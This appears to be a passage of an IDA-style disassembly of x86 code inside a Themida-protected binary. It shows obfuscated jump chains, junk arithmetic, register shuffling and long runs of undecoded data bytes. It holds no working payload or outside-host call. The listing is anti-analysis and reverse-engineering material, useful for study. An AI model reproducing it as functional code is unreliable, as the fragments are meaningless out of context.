		push	ecx
		push	edi
		push	240B1F34h
		pop	edi
		not	edi
		sub	edi, 0DBF4E0CBh
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 20h
		push	ebp
		jmp	loc_590A55
; ---------------------------------------------------------------------------
		dd 4017E281h, 0AFE90178h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598143:				; CODE XREF: Themida_:005A25D4j
		sub	edi, 0C692B23Eh
		add	ebp, edi
		pop	edi
		jmp	loc_5908B3
; ---------------------------------------------------------------------------
		db 5Fh,	57h, 89h
		dd 0FE72E9E7h, 4968FFFFh, 89000065h, 0E3E92434h, 81FFFFB5h
		dd 4C4h, 0C28100h, 512BD84Dh, 216FE9h, 4C78100h, 87000000h
		dd 0E6E9243Ch, 81FFFF73h, 0D670CCC3h, 24348B45h, 0D6E95457h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598197:				; CODE XREF: Themida_:00599807j
		push	esi
		push	15D17FF0h
		jmp	loc_58E781
; ---------------------------------------------------------------------------
		dw 0CF89h
		dd 592434FFh, 4C481h, 25050000h, 52FB704h, 0D176296h, 0BB53F829h
		dd 0D176296h, 63E9D829h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5981C7:				; CODE XREF: Themida_:0058F190j
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	36D8h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_59F291
; ---------------------------------------------------------------------------
		dd 5158C201h, 6E1827B9h, 0AB56E962h, 55570000h,	0F04342BDh
		dd 246C3170h, 2434FF04h, 0E9242C8Bh, 0FFFF6265h, 36DAE951h
		dd 0B6250000h, 256A6115h, 174324B3h, 0DE2DD0F7h, 55DA60C9h
		dd 0FFFFFFBDh, 5DE829FFh, 0C102E8C1h, 0C3E902E8h, 4AFFFF83h
		dd 0EE81D687h, 780C3FC7h, 42E6E9h, 81DEF700h, 913113C6h
		dd 5EF331D1h, 0FF6A58E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598255:				; CODE XREF: Themida_:0058E354j
		push	cx
		mov	cl, 6Ah
		add	al, cl
		jmp	loc_5A0540
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 9AF5E900h, 0BB53FFFFh, 4, 69E9DF01h
		db 45h,	2 dup(0)
byte_59827B	db 0FFh			; DATA XREF: Themida_:0058E240o
		dd 34FF2434h, 0C4835824h, 90685504h, 8900004Ch,	4812424h
		dd 424h, 242C8B00h, 4C481h, 0EC810000h,	4, 0BF243C89h
		dd 4, 0FF6CF0E9h, 241C89FFh, 0BD55E389h, 4, 5CE9EB01h
		dd 0E9000095h, 0FFFF608Bh, 19CC6858h, 34890000h, 0C5E95424h
		dd 0BDFFFF9Eh, 0FFE4B026h, 0E95BDD01h, 260Dh, 83240C8Bh
		dd 93E904ECh, 810000AAh, 5B01A3CFh, 8CE78165h, 68643204h
		dd 0
		dd 5F243C29h, 8108EFC1h, 0B23DF7C7h, 0DDABE90Eh, 0E980FFFFh
		dd 2434FFD8h, 7CCBE9h, 7BB26800h, 0C890000h, 237B6824h
		dd 0C1591FB9h, 0C18102E1h, 67FB59A5h, 36BD5557h, 89432C62h
		dd 8CCFE9EFh, 3C310000h, 9964E924h, 0C4810000h,	4, 4246C81h
		dd 28F728Dh, 4244401h, 728DB850h, 4401028Fh, 0FF580824h
		dd 48B2434h, 4C48324h, 0FF04C483h, 34FF2434h, 984CE924h
		dd 0E951FFFFh, 7D90h, 56E9D501h, 310000A9h, 0C33240Ch
		dd 24248B24h, 3DB4E9h, 0E9FE0100h, 0FFFF8951h, 42474FFh
		dd 156DE95Fh, 0C4830000h, 0DBA5204h, 0F71D8361h, 4D28E9D2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5983BA:				; CODE XREF: Themida_:005950A1j
		inc	ebp
		xor	ebp, 884D5A9Bh
		sub	edx, ebp
		pop	ebp
		jmp	loc_59B43D
; ---------------------------------------------------------------------------


loc_5983C9:				; CODE XREF: Themida_:00594FBFj
		xor	al, ch
		mov	ecx, [esp]
		jmp	loc_59E6E2
; ---------------------------------------------------------------------------


loc_5983D3:				; CODE XREF: Themida_:00599C49j
		mov	[esp], ecx
		mov	ecx, 17FE789Fh
		sub	ebp, ecx
		pop	ecx
		pop	edx
		push	edi
		push	ebp
		mov	ebp, 2
		push	ebp
		pop	edi
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		sub	ebp, edi
		jmp	loc_59F7AB
; ---------------------------------------------------------------------------
word_5983FE	dw 8B66h		; DATA XREF: Themida_:0058E15Co
		dd 9C68240Ch, 0E9000052h, 0FFFFFEA5h, 0C2815A54h, 4, 4C281h
		dd 14870000h, 6929E924h, 0C6810000h, 4,	8704EE83h, 895C2434h
		dd 2168243Ch, 89000071h, 61BE2434h, 0E9240629h,	0FFFF9B35h
dword_598444	dd 0FF2434FFh, 0E9592434h, 0FFFFDDD2h, 5350585Ah, 934F30BBh
					; DATA XREF: Themida_:0058E1CCo
		dd 0B0D4B878h, 0D801876Ch, 73ED685Bh, 0C890000h, 5151E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59846E:				; CODE XREF: Themida_:0059F29Bj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	$+5
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_59C3F4
; ---------------------------------------------------------------------------
		db 68h
		dd 3EFAh, 51241489h, 965D5068h,	81495957h, 0E073BDE1h
		dd 29F18151h, 89518051h, 3290E9CAh, 295B0000h, 0C6015FFEh
		dd 39268h, 24148900h, 8D7447BAh, 0E9DAF738h, 0FFFFB92Bh
; ---------------------------------------------------------------------------


loc_5984C8:				; CODE XREF: Themida_:0059159Bj
		pop	bx
		push	ebx
		mov	bh, 4Ah
		or	bh, 6Eh
		shl	bh, 1
		inc	bh
		push	cx
		jmp	loc_59E775
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5C24048Fh, 9C243CD2h, 0FF5E6AE9h, 5FED81FFh,	0E95D8755h
		dd 0FFFF80D1h, 44C4C281h, 0EA816E83h, 60DB270Ch, 6DECF281h
		dd 0F281113Ah, 1D20A41h, 0CEE9D631h, 81000001h,	0AB00EAC7h
		dd 0E9C70151h, 0E57h
dword_598520	dd 0E92434FFh, 0FFFF6999h, 5704C483h, 0AF7F2BBFh, 79E7814Ah
					; DATA XREF: Themida_:0058E1C0o
		dd 6877971Ah, 109Fh, 0B9240C89h, 3D751692h, 4EC81h, 17E90000h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59854F:				; CODE XREF: Themida_:0059F6D7j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	edi, 4
		jmp	loc_597D01
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 427FBBB8h, 0E9C28912h, 6F0h
dword_598578	dd 240C8B66h, 14D368h, 24048900h, 537268h, 24248900h, 4B951h
					; DATA XREF: Themida_:0058E088o
		dd 4C010000h, 58590424h, 0FF66CAE9h, 0BF5751FFh, 4, 57E9F989h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5985AB:				; CODE XREF: Themida_:00591F4Dj
		mov	ebp, edx
		pop	edx
		push	394Bh
		mov	[esp], ebx
		push	esi
		mov	esi, 43AB427Ah
		mov	ebx, 0F477EF0Bh
		xor	ebx, esi
		pop	esi
		add	ebp, ebx
		pop	ebx
		add	esi, ebp
		pop	ebp
		jmp	loc_59FAE3
; ---------------------------------------------------------------------------


loc_5985CF:				; CODE XREF: Themida_:00595501j
		add	ecx, edx
		add	ecx, 33215CF3h
		push	edx
		push	20F7h
		mov	[esp], ebx
		mov	bh, al
		mov	dh, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		jmp	loc_59079E
; ---------------------------------------------------------------------------
		dd 5C243C87h, 66F9F766h, 665AA268h, 66241489h, 48E99C50h
		dd 1FFFF5Dh, 2434FFDFh,	90E9515Bh, 81000096h, 3573A2EEh
		dd 81C6290Eh, 3573A2C6h, 7AB5E90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59862A:				; CODE XREF: Themida_:0059BB1Ej
		mov	ebp, 438E4292h
		sub	ebp, 45BD3BC5h
		sub	ebp, 3D512FA6h
		sub	ebp, 0B6C09734h
		jmp	loc_59E4EC
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 9C240CFEh, 0FF5CFEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598655:				; CODE XREF: Themida_:0058ED74j
		mov	[esp], ebp
		mov	ebp, 53201EF0h
		or	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 54712h
		xor	edi, eax
		mov	eax, [esp]
		jmp	loc_5912E5
; ---------------------------------------------------------------------------


loc_598670:				; CODE XREF: Themida_:005A2AB5j
		xchg	esi, ecx
		jmp	loc_5A0E96
; ---------------------------------------------------------------------------
		align 4
		dd 58C680E6h, 3AB25258h, 0FF6292E9h, 4C381FFh, 81000000h
		dd 4EBh, 241C8700h, 2404895Ch, 5CCEBE56h, 0EEC179A5h, 0E9D68705h
		dd 0FFFFFB8Fh, 72048BEh, 5EF10121h, 5B2434FFh, 0FF98A6E9h
		dd 0BE565CFFh, 4B875EF2h, 0FF88C0E9h, 482D68FFh, 7EE90000h
		dd 1000013h, 0DB2FE9DFh, 0B050FFFFh, 58C700D5h,	194AE9h
		dd 0C6815A00h, 0F5D4CFF2h, 0F8373105h, 1527E941h, 515A0000h
		dd 90446AB9h, 0C6B8503Dh, 1294464h, 66DEE9C1h, 74FFFFFFh
		dd 8F580424h, 5EE92404h, 66000032h, 8166D3F7h, 66621CC3h
		dd 0D1E9DF01h, 500005Eh, 4, 8B240487h, 34FF2424h, 2434FF24h
		dd 4EC8358h, 89243489h,	4C681E6h, 50000000h, 0FF6342E9h
		dd 31CD31FFh, 0E9CD31E9h, 1FD9h, 94768h, 242C8900h, 2060E4BDh
		dd 68D40570h, 0F0E94A30h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59876B:				; CODE XREF: Themida_:00593570j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_59A1FF
; ---------------------------------------------------------------------------
		db 1
		dd 0C80159C8h, 0FFF064E9h
		db 0FFh
byte_598789	db 0FFh, 77h, 2Ch	; DATA XREF: Themida_:0058E184o
		dd 0FF5BC2E9h, 5DEB01FFh, 0E9241C87h, 25BAh, 0E1B484B9h
		dd 9E78E92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5987A6:				; CODE XREF: Themida_:005A04B9j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	24AAh
		mov	[esp], esi
		mov	esi, 59A83819h
		push	47D7h
		mov	[esp], edx
		jmp	loc_59E579
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0E5C078B5h, 3EED8002h, 5250D5F6h, 7DE9ACB2h
		db 78h,	2 dup(0)
byte_5987DF	db 66h			; DATA XREF: Themida_:0058E294o
		dd 6824048Bh, 783Ah, 54242C89h,	0DABF575Dh, 5314A66Eh
		dd 25A268h, 243C8900h, 5920F3BFh, 7DDCBB32h, 0FB3141D6h
		dd 0C1D3F75Fh, 13E903EBh
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_598813:				; CODE XREF: Themida_:005A12F8j
		sub	dh, 5Fh
		sub	dh, al
		push	ecx
		mov	cl, 0FBh
		not	cl
		shr	cl, 1
		and	cl, 45h
		dec	cl
		not	cl
		inc	cl
		sub	cl, 0A2h
		jmp	loc_591625
; ---------------------------------------------------------------------------
		dd 0E9008F5Ch, 0FFFF5B1Bh
; ---------------------------------------------------------------------------


loc_598838:				; CODE XREF: Themida_:00593D4Fj
		add	ebx, 0D6757A80h
		and	edi, ebx
		jmp	loc_597C19
; ---------------------------------------------------------------------------
aN1Vhjb		db '­1ØVh†b',0          ; DATA XREF: Themida_:0058E164o
		align 2
		dw 1C89h
aSius		db '$S䋎$)',0
		db 0
; ---------------------------------------------------------------------------


loc_598859:				; CODE XREF: Themida_:0059ABF4j
		mov	edi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_59DC46
; ---------------------------------------------------------------------------
		dd 222139BDh, 89CD8155h, 0E90CCB18h, 5BD3h, 245DBD55h
		dd 0EDC16AFFh, 13E58105h, 0E934A75Eh, 612Bh
; ---------------------------------------------------------------------------


loc_598894:				; CODE XREF: Themida_:00593FACj
		inc	edi
		add	edi, 43705051h
		or	edi, 694E42F1h
		jmp	loc_593EF1
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 4050000h, 50000000h,	42474FFh, 667DE958h, 0EC83FFFFh
		dd 6A2DE904h, 0E95F0000h, 0FFFFA764h, 5708EBC1h, 0DE735ABFh
		dd 0C781473Ch, 142B07B2h, 575FFB21h, 0AB20C0BFh, 0F682E93Eh
		dd 0C888FFFFh, 0E952D0F6h, 241Ah, 4C4815Bh, 89000000h
		dd 8595E9C2h, 15FFFFFh,	8EA5E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59890A:				; CODE XREF: Themida_:0059F050j
		add	esi, 6E2F032Ah
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		movzx	ecx, al
		push	4DB7h
		mov	[esp], ecx
		jmp	loc_58E353
; ---------------------------------------------------------------------------
byte_59892B	db 8Bh			; DATA XREF: Themida_:0058E0FCo
		dd 7682404h, 8900005Bh,	0FF542404h, 81582434h, 4C4h, 4BA5200h
		dd 52000000h, 0E157C1BAh, 0FFC28177h, 81FFFFFFh, 4ECh
		dd 242C8900h, 5069BFBDh, 0E9EA2915h, 0FFFF6140h, 2EAC158h
		dd 39B1C281h, 0EC81638Dh, 4, 0E9241489h, 0FFFF81ABh, 34FFDD29h
		dd 0C4815B24h, 4, 9D52E9h, 0F7494900h, 1F0BE9D1h, 0EC810000h
		dd 4, 0B2241489h, 0A204E9C9h, 148B0000h, 4EC8124h, 89000000h
		dd 0E189240Ch, 4C181h, 0C1810000h, 4, 5C240C87h, 538FBD55h
		dd 0E5C10104h, 52DDF707h, 29C784BAh, 5AD50182h,	515DEA01h
		dd 0E0560EB9h, 0AF1813Ch, 13CE056h, 240C8BCAh, 71A9E9h
		dd 3BFEBB00h, 0BD554A76h, 47E12075h, 499C6845h,	1C890000h
		dd 1144BB24h, 0E3810372h, 4F42530Dh, 0B2CDEB81h, 0DD31C676h
		dd 83241C8Bh, 0F58104C4h, 0A9C7E7Ah, 0FF7F0EE9h, 0E9F521FFh
		dd 97F9h
; ---------------------------------------------------------------------------


loc_598A34:				; CODE XREF: Themida_:00599737j
		add	ebx, ecx
		pop	ecx
		mov	ecx, ebx
		pop	ebx
		or	ebx, ecx
		pop	ecx
		not	ebx
		add	ebx, 1903681Ch
		xor	ebx, 9D43C83Ah
		mov	esi, ebx
		pop	ebx
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		xchg	ecx, [esp]
		push	1EBDh
		mov	[esp], ecx
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_59E907
; ---------------------------------------------------------------------------


loc_598A8E:				; CODE XREF: Themida_:00598E07j
		pop	ebp
		jmp	loc_592538
; ---------------------------------------------------------------------------
		dd 3F39EE81h, 0EE011E84h, 57AEE9h, 82F28100h, 0E9044669h
		dd 49D7h, 5EE9C131h, 0BD000080h, 76DF5753h, 1C8BDD31h
		dd 4C48124h, 2D000000h,	610E0FFFh, 564AE9h, 0C4815A00h
		dd 4, 2474FF55h, 48F5D04h, 24248B24h, 8904EC83h, 8350241Ch
		dd 0C8904ECh, 499F6824h, 0F5E90000h, 89FFFF65h,	36E957E3h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598AFF:				; CODE XREF: Themida_:00594BABj
					; Themida_:0059810Ej ...
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_5970C7
; ---------------------------------------------------------------------------


loc_598B10:				; CODE XREF: Themida_:0058FD8Ej
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	ebp, 5C350567h
		sub	ebp, 23C06D75h
		sub	esp, 4
		mov	[esp], eax
		push	edi
		jmp	loc_59A5FC
; ---------------------------------------------------------------------------
		dd 0B8505B5Ah, 4DE03816h, 0E0381235h, 38E9564Dh, 29000059h
		dd 6A32E9E8h, 0E9F60000h, 0CCB60F66h, 8F9DE9h, 0E7895700h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 23FBE9h, 5DC18100h
		dd 93F0143h, 0C913E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598B7A:				; CODE XREF: Themida_:0059E229j
		push	edx
		mov	edx, 0E1A5B9F5h
		xor	ebp, edx
		pop	edx
		jmp	loc_594B3F
; ---------------------------------------------------------------------------
dword_598B88	dd 24048B66h, 9F1E953h,	4810000h, 0C1027224h, 8956E918h
					; DATA XREF: Themida_:0058E244o
		dd 34FF0000h, 68555E24h, 44B4h,	0E9242489h, 7D79h, 5C242C87h
		dd 31241C33h, 1C33241Ch, 24248B24h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFF5783h, 0BB53DA01h, 0
		dd 388D301h, 0F1E95A5Bh, 5B00007Fh, 582434FFh, 0E904C483h
		dd 0FFFFAA34h, 5C24048Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FFA03CE9h, 3AC181FFh, 52504B01h, 757C0FBAh,	5E9424Dh
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598C3F:				; CODE XREF: Themida_:0059C8F9j
		pop	esi
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		jmp	loc_5A0CB4
; ---------------------------------------------------------------------------


loc_598C4B:				; CODE XREF: Themida_:00597AEEj
		push	dx
		jmp	loc_5A32EA
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 34F5EA81h, 0F4E90C0Fh, 0FFFFFF56h, 0E9042474h, 0FFFFD7F0h
		dd 8124048Bh, 4C4h, 0E9DAF700h,	338h
; ---------------------------------------------------------------------------


loc_598C78:				; CODE XREF: Themida_:005943D0j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	ebp, esi
		pop	esi
		add	edi, 269A3E4Dh
		add	edi, ebp
		sub	edi, 269A3E4Dh
		mov	ebp, [esp]
		add	esp, 4
		push	63AEh
		mov	[esp], edx
		mov	edx, 4724995h
		sub	edx, 4724991h
		add	edi, edx
		pop	edx
		xor	edi, [esp]
		jmp	loc_58F2D8
; ---------------------------------------------------------------------------
		db 0BFh
		dd 2, 335FF901h, 0BCE9240Ch, 2DFFFFF6h,	63D137Bh, 0E924148Bh
		dd 9B4Bh, 0E9240489h, 3830h, 83240C8Bh,	752D04C4h, 1124F10h
		dd 107505E8h, 15D124Fh,	3BA52F8h, 0C1195B73h, 0F5E904EAh
		dd 89FFFFE0h, 0E968240Ch, 0E954370Bh, 0FFFF6362h, 2474FF57h
		dd 48F5F04h, 4895C24h, 66685524h, 0FF5FCC07h, 835D2434h
		dd 0C4E904C4h, 8900006Bh, 4C581E5h, 81000000h, 4C5h, 242C8700h
		dd 5324248Bh, 0FF7CC1E9h, 815D58FFh, 4C5h, 79C4E900h, 0F201FFFFh
		dd 8324348Bh, 574204C4h, 0FC7161BFh, 5FFA31B9h,	65D8EB81h
		dd 0D329051Bh, 65D8C381h, 148B051Bh, 4C48324h, 0FFFFEB81h
		dd 0E3C1FFFFh, 4EC8305h, 1099E9h
		db 0
; ---------------------------------------------------------------------------


loc_598D91:				; CODE XREF: Themida_:005929F7j
		push	eax
		mov	eax, 0E4118AEh
		or	eax, 45030CA3h
		xor	eax, 5E7E351Ch
		add	edi, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF55A3h, 8107EEC1h, 0C06730F6h
		db 1
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59B062
; ---------------------------------------------------------------------------
byte_598DD1	db 0FFh, 77h, 3Ch	; DATA XREF: Themida_:0058E26Co
		dd 98BD5550h, 55048B2Ch, 242C8B58h, 0FFF565E9h
		db 0FFh
byte_598DE5	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E1FCo
		dd 0E1895124h, 0FF9424E9h, 4EA83FFh, 49B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_598DF9:				; CODE XREF: Themida_:005A094Dj
		sub	ebp, 64D5377h
		sub	ebp, 0F43D7C11h
		mov	ebx, ebp
		jmp	loc_598A8E
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFF75A4h, 4B951h, 0E9570000h, 0FFFFA1D5h
		dd 1368F101h, 0E900000Ah, 0FFFFDA94h, 8804C483h, 24148BF1h
		dd 815F5457h, 4ECh, 241C8900h, 4BBh, 72F6E900h,	1B050000h
		dd 31BCE4E5h, 0D2F758C2h, 486FF281h, 8CE9C9AAh
		db 24h,	2 dup(0)
byte_598E5F	db 66h			; DATA XREF: Themida_:0058E1E0o
		dd 6824048Bh, 1D5Ch, 228AE9h
		db 0
; ---------------------------------------------------------------------------


loc_598E6D:				; CODE XREF: Themida_:0059F723j
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_590CCD
; ---------------------------------------------------------------------------
		dw 814Fh
		dd 889F8AEFh, 5FFB0180h, 143A68h, 243C8900h, 0FFA40BE9h
		dd 242C33FFh, 33242C31h, 0AEE9242Ch, 0C1FFFFABh, 0E18103E1h
		dd 54E800FDh, 2DE6F181h, 0CD311490h, 4FF5559h, 0BEDDE924h
		db 2 dup(0FFh)
word_598EBA	dw 8B66h		; DATA XREF: Themida_:0058E274o
		dd 1068240Ch, 89000038h, 0E789243Ch, 4D4768h, 240C8900h
		dd 4B9h, 4EC8300h, 0FF894BE9h, 4C283FFh, 0E9241487h, 638Eh
		dd 52D8015Ah, 0C3186EBAh, 5DC28171h, 8108F963h,	0E04AAACAh
		dd 0EAF28168h, 29479A07h, 24148BD0h, 0E904C483h, 0FFFF8BACh
		dd 4C281h, 0C2830000h, 24148704h, 0C6FAE95Ch, 0FF56FFFFh
		dd 5E042474h, 524E9h, 3EEC000h,	28F2C680h, 64D9E9F4h, 34FF0000h
		dd 0C804E924h, 0C201FFFFh, 0E924048Bh, 3055h, 656D08BEh
		dd 68BA520Dh, 9052511h,	5FF2E9D6h, 3C8B0000h, 4C48124h
		dd 50000000h, 553EE9h, 24043300h, 8951525Ch, 4C181E1h
		dd 0E9000000h, 0FFFFB1F6h
; ---------------------------------------------------------------------------


loc_598F80:				; CODE XREF: Themida_:0059D809j
		mov	ah, ch
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_58ED19
; ---------------------------------------------------------------------------
		db 2Dh,	0D3h, 2Ah
		dd 34E93005h, 83FFFFFDh, 1C8904ECh, 80A4B324h, 0E380C4F3h
		dd 0E9CBFE23h, 166Ch, 41BEC281h, 0E2C163F6h, 0CA814A08h
		dd 71157E51h, 7014EA81h, 0D7018D10h, 4D6FE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598FCE:				; CODE XREF: Themida_:0059E7E3j
		add	cl, 30h
		add	bl, 0B1h
		sub	bl, cl
		push	edx
		jmp	loc_58F222
; ---------------------------------------------------------------------------
		dd 815FFE01h, 4EEh, 24348700h, 240C895Ch, 25D168h, 44DDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598FF6:				; CODE XREF: Themida_:005A32F9j
		sub	cl, 6
		pop	bx
		jmp	loc_594874
; ---------------------------------------------------------------------------


loc_599000:				; CODE XREF: Themida_:00597D20j
		push	522Dh
		mov	[esp], ebx
		push	ecx
		mov	ecx, 38D16270h
		jmp	loc_59F744
; ---------------------------------------------------------------------------
		db 58h
		dd 6804C483h, 0B90h, 0E9241489h, 37EBh
; ---------------------------------------------------------------------------


loc_599024:				; CODE XREF: Themida_:005A1C01j
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_591F48
; ---------------------------------------------------------------------------


loc_599030:				; CODE XREF: Themida_:0059618Aj
		dec	ecx
		push	ebp
		push	edi
		push	5A35129Dh
		jmp	loc_58FEC9
; ---------------------------------------------------------------------------
		db 0B0h, 6Ah, 0E9h
		dd 1EBAh, 4BB535Ah, 0E9000000h,	1D50h
; ---------------------------------------------------------------------------


loc_599050:				; CODE XREF: Themida_:00591C8Fj
		push	ecx
		push	eax
		jmp	loc_58EE52
; ---------------------------------------------------------------------------


loc_599057:				; CODE XREF: Themida_:00593DEEj
		add	esp, 4
		jmp	loc_58EAF1
; ---------------------------------------------------------------------------


loc_599062:				; CODE XREF: Themida_:0059DA48j
		mov	ebp, 5C360267h
		jmp	loc_596197
; ---------------------------------------------------------------------------
		dd 8904EC83h, 74FF2434h, 8F5E0424h, 8BE92404h, 5000002Dh
		dd 9060E3B8h, 58C60102h, 827BF681h, 0F1292989h,	3CC3815Eh
		dd 1420B46h, 3CEB81CBh,	0FF420B46h, 68E92434h, 81000043h
		dd 0CB0B56C1h, 9A55E9F3h, 8953FFFFh, 4BE56E3h, 0E9000000h
		dd 1175h, 0B8240489h, 4, 34FFC121h, 0E9505824h,	6396h
		dd 0C183C131h, 760968FFh, 4890000h, 94E95624h, 8BFFFFB1h
		dd 8953242Ch, 4C381E3h,	51000000h, 4B9h, 0E9CB0100h, 9BC3h
		dd 5E14E95Dh, 68FFFFh, 29000000h, 0C15A2414h, 0C28102EAh
		dd 109663A0h, 34FFD189h, 0C4815A24h, 4,	3726BD55h, 0ED81038Bh
		dd 0DCD6D6D3h, 0AFE9EB01h, 66FFFFE3h, 660241B8h, 5866C221h
		dd 96BD6655h, 0E956663Fh, 0FFFF73E3h, 332E68h, 240C8900h
		dd 0F6E9EDB1h, 81FFFFCBh, 0F010FFF3h, 43EB811Eh, 436FD634h
		dd 0DCB8C381h, 0DF312B02h, 93FBE95Bh, 0BC68FFFFh, 89000070h
		dd 21BF243Ch, 8133A82Dh, 7A23E2EFh, 9BF78147h, 0C10FAE44h
		dd 0CF8105EFh, 671458AFh, 5AEBF781h, 0BF57671Ch, 1F5E2594h
		dd 0E903E7C1h, 0FFFF701Dh, 8B2434FFh, 18E9240Ch
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5991B7:				; CODE XREF: Themida_:00594BECj
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_597D1E
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A1C21
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 89h
		dd 816A7A0Ch, 9E0325F1h, 65BE560Bh, 0E938DC2Fh,	0FFFFFE97h
		dd 2FE7EF81h, 0EAE945C8h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5991F3:				; CODE XREF: Themida_:0059BCBEj
		sub	eax, 30E32310h
		pop	ecx
		sub	eax, 4
		jmp	loc_59956F
; ---------------------------------------------------------------------------
		db 0BBh
		dd 22D1D1Dh, 0E1E1F381h, 0DF3134FEh, 5FF8895Bh,	7FE950h
		dd 0E9500000h, 7F90h, 4C681h, 56E90000h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59922B:				; CODE XREF: Themida_:00590BFEj
		add	esp, 4
		push	esi
		jmp	loc_594072
; ---------------------------------------------------------------------------
		db 81h
		dd 0AA18C0E6h, 4BC68174h, 0C14DEB42h, 0E6C102E6h, 24C68108h
		dd 2D49173Ah, 464911EBh, 0EB05F001h, 0E9464911h, 0FFFF69CDh
		dd 0F23C181h, 815F64D5h, 4C1h, 240C8700h, 24048F5Ch, 6824248Bh
		dd 3046h, 0E9240489h, 557Bh, 592434FFh,	4C481h,	0F5810000h
		dd 246A7EDAh, 926CE9h, 2414F700h, 0D2F79258h, 5338E992h
		dd 525B0000h, 261CC4BAh, 0FDC28129h, 2151804Bh,	0E7E95AD6h
		dd 0C100009Dh, 0E5C106EDh, 0E9D5F708h, 0BE0h, 3A1CDABFh
		dd 9DDDE906h, 248B0000h, 48B6624h, 7BB46824h, 3C890000h
		dd 758EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5992E6:				; CODE XREF: Themida_:005A2619j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_59DA2F
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0EF810000h, 4, 147D68h, 243C8900h, 42474FFh
